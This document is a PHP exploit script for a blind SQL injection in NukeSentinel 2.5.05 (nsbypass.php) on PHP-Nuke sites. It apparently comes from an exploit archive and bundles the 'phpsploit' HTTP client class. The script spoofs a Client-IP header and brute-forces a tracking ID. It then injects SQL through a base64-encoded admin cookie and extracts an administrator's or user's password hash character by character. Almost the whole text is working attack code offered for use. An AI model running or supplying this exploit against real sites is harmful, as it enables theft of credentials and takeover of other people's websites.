============================================================== NukeSentinel 2.5.05 (nsbypass.php) Blind SQL Injection Exploit ============================================================== #!/usr/bin/php -victim [Opts] Options: -isadmin Is the victim an Admin (1) or a normal user (default=0) ? -prefix Table prefix (default=nuke) -tid If you have already used this sploit -bf You can precise how many hits we can try -proxy If you wanna use a proxy -proxyauth Basic authentification ------------------------------------------------------------------ "); exit(1); } $url = getparam('url',1); # http://localhost/php-nuke-7.9/html/ $login = getparam('victim',1); # Default # Victim (root for example) $admin = (getparam('isadmin')!='') ? getparam('isadmin') : 0; $prfix = (getparam('prefix')!='') ? getparam('prefix') : 'nuke'; $tid = (getparam('tid')!='') ? getparam('tid') : 0; $nbtst = (getparam('bf')!='') ? getparam('bf') : 10000; $proxy = getparam('proxy'); $authp = getparam('proxyauth'); $xpl = new phpsploit(); $xpl->agent("Mozilla Firefox"); if($proxy) $xpl->proxy($proxy); if($authp) $xpl->proxyauth($authp); # +nukesentinel.php # 49. if($ab_config['disable_switch'] > 0) { return; } # 414. if($ab_config['track_active'] == 1 AND !is_excluded($nsnst_const['remote_ip'])) { # 458. $db->sql_query("INSERT INTO `".$prefix."_nsnst_tracked_ips` (`user_id`, `username`, `date`, `ip_addr`, `ip_long`, `page`, # `user_agent`, `refered_from`, `x_forward_for`, `client_ip`, `remote_addr`, `remote_port`, `request_method`, # `c2c`) VALUES ('".$nsnst_const['ban_user_id']."', '$ban_username2', '".$nsnst_const['ban_time']."', # '".$nsnst_const['remote_ip']."', '".$nsnst_const['remote_long']."', '$pg', '$user_agent', '$refered_from', # '".$nsnst_const['forward_ip']."', '".$nsnst_const['client_ip']."', '".$nsnst_const['remote_addr']."', # '".$nsnst_const['remote_port']."', '".$nsnst_const['request_method']."', '$c2c')"); # # We insert a row in $prefix."_nsnst_tracked_ips". # print "\nInserting a row in ${prfix}_nsnst_tracked_ips"; $xpl->addheader("Client-IP","255.255.255.255"); $xpl->get($url.'index.php'); # Trying to find a valid tid. # Needed for $tum > 0. # print "\nTrying to find a valid tid (max hits=$nbtst)"; $sql = "' OR 1=1#"; $xpl->addcookie("admin",urlencode(base64_encode($sql.':1:'))); for($c=$tid;$c<=$nbtst;$c++) { $xpl->get($url."includes/nsbypass.php?tid=$c"); if(!preg_match("#phpnuke.org#",$xpl->getheader())) { $tid = $c; print "\nValid tid found: $tid\nHash: $login -> "; break; } if($c == $nbtst) exit("\n#1 Exploit failed"); } # MD5 hash length [32] # for($a=1;$a<=32;$a++) { # MD5 charset [a-f0-9] # for($b=48;$b<=71;$b++) { # +nsbypass.php # 24. $num = $db->sql_numrows($db->sql_query("SELECT * FROM ".$prefix."_authors WHERE `aid`='$a_aid' AND `pwd`='$a_pas'")); # 25. $tum = $db->sql_numrows($db->sql_query("SELECT * FROM ".$prefix."_nsnst_tracked_ips WHERE `tid`='$tid'")); # if($admin) $sql = "$login' AND SUBSTR(pwd,$a,1)=CHAR($b)#"; else $sql = "' OR SUBSTR((SELECT user_password FROM ${prfix}_users WHERE username='$login'),$a,1)=CHAR($b)#"; # +nsbypass.php # 16. $tid = intval($tid); # 17. if(isset($_COOKIE['admin']) && !empty($_COOKIE['admin'])) { # 18. $abadmin = base64_decode($_COOKIE['admin']); # 19. $abadmin = explode(":", $abadmin); # 20. $a_aid = "$abadmin[0]"; # 21. $a_pas = "$abadmin[1]"; # 22. } # $xpl->addcookie("admin",urlencode(base64_encode($sql.':1:'))); $xpl->get($url."includes/nsbypass.php?tid=$tid"); # +nsbypass.php # 27. if($num > 0 AND $tum > 0) { # 28. $row = $db->sql_fetchrow($db->sql_query("SELECT * FROM ".$prefix."_nsnst_tracked_ips WHERE `tid`='$tid'")); # 29. $row['refered_from'] = html_entity_decode($row['refered_from'], ENT_QUOTES); # 30. header("Location: ".$row['refered_from']); # 31. } else { # 32. header("Location: ".$nuke_config['nukeurl']); # 33. } # if(!preg_match("#phpnuke.org#",$xpl->getheader())) { print strtolower(chr($b)); break; } # MD5 hash do not contains g (char(71)) ... WTF !? # if($b == 71) exit("\n#2 Exploit failed"); } } # -url "http://www.victim.com/" # -url http://www.victim.com/ # getparam('url',1) # function getparam($param,$opt='') { global $argv; foreach($argv as $value => $key) { if($key == '-'.$param) return $argv[$value+1]; } if($opt) exit("\n#3 -$param parameter required"); else return; } /* * * Copyright (C) darkfig * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * TITLE: PhpSploit Class * REQUIREMENTS: PHP 5 (remove "private", "public" if you have PHP 4) * VERSION: 1.2 * LICENSE: GNU General Public License * ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt * FILENAME: phpsploitclass.php * * CONTACT: [email protected] (french / english) * GREETZ: Sparah, Ddx39 * * DESCRIPTION: * The phpsploit is a class implementing a web user agent. * You can add cookies, headers, use a proxy server with (or without) a * basic authentification. It supports the GET and the POST method. It can * also be used like a browser with the cookiejar() function (which allow * a server to add several cookies for the next requests) and the * allowredirection() function (which allow the script to follow all * redirections sent by the server). It can return the content (or the * headers) of the request. Others useful functions can be used for debugging. * A manual is actually in development but to know how to use it, you can * read the comments. * * CHANGELOG: * [2007-01-24] (1.2) * * Bug #2 fixed: Problem concerning the getcookie() function ((|;)) * * New: multipart/form-data enctype is now supported * * [2006-12-31] (1.1) * * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug) * * New: You can now call the getheader() / getcontent() function without parameters * * [2006-12-30] (1.0) * * First version * */ class phpsploit { /** * This function is called by the get()/post() functions. * You don't have to call it, this is the main function. * * @return $server_response */ private function sock() { if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport); else $socket = fsockopen($this->host,$this->port); if(!$socket) die("Error: The host doesn't exist"); if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n"; elseif($this->method==="post" or $this->method==="formdata") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n"; else die("Error: Invalid method"); if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n"; $this->packet .= "Host: ".$this->host."\r\n"; if(!empty($this->agent)) $this->packet .= "User-Agent: ".$this->agent."\r\n"; if(!empty($this->header)) $this->packet .= $this->header."\r\n"; if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n"; $this->packet .= "Connection: Close\r\n"; if($this->method==="post") { $this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n"; $this->packet .= $this->data."\r\n"; } elseif($this->method==="formdata") { $this->packet .= "Content-Type: multipart/form-data; boundary=---------------------------".$this->boundary."\r\n"; $this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n"; $this->packet .= $this->data; } $this->packet .= "\r\n"; $this->recv = ''; fputs($socket,$this->packet); while(!feof($socket)) $this->recv .= fgets($socket); fclose($socket); if($this->cookiejar) $this->cookiejar($this->getheader($this->recv)); if($this->allowredirection) return $this->allowredirection($this->recv); else return $this->recv; } /** * This function allows you to add several cookie in the * request. Several methods are supported: * * $this->addcookie("name","value"); * or * $this->addcookie("name=newvalue"); * or * $this->addcookie("othername=overvalue; xx=zz; y=u"); * * @param string $cookiename * @param string $cookievalue * */ public function addcookie($cookn,$cookv='') { // $this->addcookie("name","value"); work avec replace if(!empty($cookv)) { if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete if(!empty($this->cookie)) { if(preg_match("/$cookn=/",$this->cookie)) { $this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie); } else { $this->cookie .= " ".$cookn."=".$cookv.";"; // " ". } } else { $this->cookie = $cookn."=".$cookv.";"; } } // $this->addcookie("name=value; othername=othervalue"); else { if(!empty($this->cookie)) { $cookn = preg_replace("/(.*);$/","$1",$cookn); $cookarr = explode(";",str_replace(" ", "",$cookn)); for($i=0;$iaddcookie($cookn,$cookv); } } else { $cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";"; $this->cookie = $cookn; } } } /** * This function allows you to add several headers in the * request. Several methods are supported: * * $this->addheader("headername","headervalue"); * or * $this->addheader("headername: headervalue"); * * @param string $headername * @param string $headervalue */ public function addheader($headern,$headervalue='') { // $this->addheader("name","value"); if(!empty($headervalue)) { if(!empty($this->header)) { if(preg_match("/$headern:/",$this->header)) { $this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header); } else { $this->header .= "\r\n".$headern.": ".$headervalue; } } else { $this->header=$headern.": ".$headervalue; } } // $this->addheader("name: value"); else { if(!empty($this->header)) { $headarr = explode(": ",$headern); $headern = $headarr[0]; $headerv = $headarr[1]; $this->addheader($headern,$headerv); } else { $this->header=$headern; } } } /** * This function allows you to use an http proxy server. * Several methods are supported: * * $this->proxy("proxyip","8118"); * or * $this->proxy("proxyip:8118") * * @param string $proxyhost * @param integer $proxyport */ public function proxy($proxy,$proxyp='') { // $this->proxy("localhost:8118"); if(empty($proxyp)) { preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr); $proxh = $proxarr[1]; $proxp = $proxarr[2]; $this->proxyhost=$proxh; $this->proxyport=$proxp; } // $this->proxy("localhost",8118); else { $this->proxyhost=$proxy; $this->proxyport=intval($proxyp); } if($this->proxyport > 65535) die("Error: Invalid port number"); } /** * This function allows you to use an http proxy server * which requires a basic authentification. Several * methods are supported: * * $this->proxyauth("darkfig","dapasswd"); * or * $this->proxyauth("darkfig:dapasswd"); * * @param string $proxyuser * @param string $proxypass */ public function proxyauth($proxyauth,$proxypasse='') { // $this->proxyauth("darkfig:password"); if(empty($proxypasse)) { preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr); $proxu = $proxautharr[1]; $proxp = $proxautharr[2]; $this->proxyuser=$proxu; $this->proxypass=$proxp; } // $this->proxyauth("darkfig","password"); else { $this->proxyuser=$proxyauth; $this->proxypass=$proxypasse; } } /** * This function allows you to set the "User-Agent" header. * Several methods are possible to do that: * * $this->agent("Mozilla Firefox"); * or * $this->addheader("User-Agent: Mozilla Firefox"); * or * $this->addheader("User-Agent","Mozilla Firefox"); * * @param string $useragent */ public function agent($useragent) { $this->agent=$useragent; } /** * This function returns the header which will be * in the next request. * * $this->showheader(); * * @return $header */ public function showheader() { return $this->header; } /** * This function returns the cookie which will be * in the next request. * * $this->showcookie(); * * @return $storedcookies */ public function showcookie() { return $this->cookie; } /** * This function returns the last formed * http request (the http packet). * * $this->showlastrequest(); * * @return $last_http_request */ public function showlastrequest() { return $this->packet; } /** * This function sends the formed http packet with the * GET method. You can precise the port of the host. * * $this->get("http://localhost"); * $this->get("http://localhost:888/xd/tst.php"); * * @param string $urlwithpath * @return $server_response */ public function get($url) { $this->target($url); $this->method="get"; return $this->sock(); } /** * This function sends the formed http packet with the * POST method. You can precise the port of the host. * * $this->post("http://localhost/index.php","admin=1&user=dark"); * * @param string $urlwithpath * @param string $postdata * @return $server_response */ public function post($url,$data) { $this->target($url); $this->method="post"; $this->data=$data; return $this->sock(); } /** * This function sends the formed http packet with the * POST method using the multipart/form-data enctype. * * $array = array( * frmdt_url => "http://localhost/upload.php", * frmdt_boundary => "123456", # Optional * "email" => "[email protected]", * "varname" => array( * frmdt_type => "image/gif", # Optional * frmdt_transfert => "binary", # Optional * frmdt_filename => "hello.php", * frmdt_content => "")); * $this->formdata($array); * * @param array $array * @return $server_response */ public function formdata($array) { $this->target($array[frmdt_url]); $this->method="formdata"; $this->data=''; if(!isset($array[frmdt_boundary])) $this->boundary="phpsploit"; else $this->boundary=$array[frmdt_boundary]; foreach($array as $key => $value) { if(!preg_match("#^frmdt_(boundary|url)#",$key)) { $this->data .= "-----------------------------".$this->boundary."\r\n"; $this->data .= "Content-Disposition: form-data; name=\"".$key."\";"; if(!is_array($value)) { $this->data .= "\r\n\r\n".$value."\r\n"; } else { $this->data .= " filename=\"".$array[$key][frmdt_filename]."\";\r\n"; if(isset($array[$key][frmdt_type])) $this->data .= "Content-Type: ".$array[$key][frmdt_type]."\r\n"; if(isset($array[$key][frmdt_transfert])) $this->data .= "Content-Transfer-Encoding: ".$array[$key][frmdt_transfert]."\r\n"; $this->data .= "\r\n".$array[$key][frmdt_content]."\r\n"; } } } $this->data .= "-----------------------------".$this->boundary."--\r\n"; return $this->sock(); } /** * This function returns the content of the server response * without the headers. * * $this->getcontent($this->get("http://localhost/")); * or * $this->getcontent(); * * @param string $server_response * @return $onlythecontent */ public function getcontent($code='') { if(empty($code)) $code = $this->recv; $content = explode("\n",$code); $onlycode = ''; for($i=1;$igetheader($this->post("http://localhost/x.php","x=1&z=2")); * or * $this->getheader(); * * @param string $server_response * @return $onlytheheaders */ public function getheader($code='') { if(empty($code)) $code = $this->recv; $header = explode("\n",$code); $onlyheader = $header[0]."\n"; for($i=1;$iaddcookie($cookn,$cookv); } } /** * This function is called by the get()/post() functions. * You don't have to call it. * * @param string $urltarg */ private function target($urltarg) { if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/"; $this->url=$urltarg; $array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg))); $this->host=$array[0]; preg_match("/:(\d+)\//",$urltarg,$matches); $this->port=empty($matches[1]) ? 80 : $matches[1]; $temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)); preg_match("/\/(.*)\//",$temp,$matches); $this->path=str_replace("//","/","/".$matches[1]."/"); if($this->port > 65535) die("Error: Invalid port number"); } /** * If you call this function, the script will * extract all "Set-Cookie" headers values * and it will automatically add them into the "Cookie" header * for all next requests. * * $this->cookiejar(1); // enabled * $this->cookiejar(0); // disabled * */ public function cookiejar($code) { if($code===0) $this->cookiejar=''; if($code===1) $this->cookiejar=1; else { $this->getcookie($code); } } /** * If you call this function, the script will * follow all redirections sent by the server. * * $this->allowredirection(1); // enabled * $this->allowredirection(0); // disabled * * @return $this->get($locationresponse) */ public function allowredirection($code) { if($code===0) $this->allowredirection=''; if($code===1) $this->allowredirection=1; else { if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr)) { $location = str_replace(chr(13),'',$codearr[2]); if(!eregi("://",$location)) { return $this->get("http://".$this->host.$this->path.$location); } else { return $this->get($location); } } else { return $code; } } } /** * This function allows you to reset some parameters: * * $this->reset(header); // headers cleaned * $this->reset(cookie); // cookies cleaned * $this->reset(); // clean all parameters * * @param string $func */ public function reset($func='') { switch($func) { case "header": $this->header=''; break; case "cookie": $this->cookie=''; break; default: $this->cookiejar=''; $this->header=''; $this->cookie=''; $this->allowredirection=''; $this->agent=''; break; } } } ?> # 0day.today [2018-01-01] #

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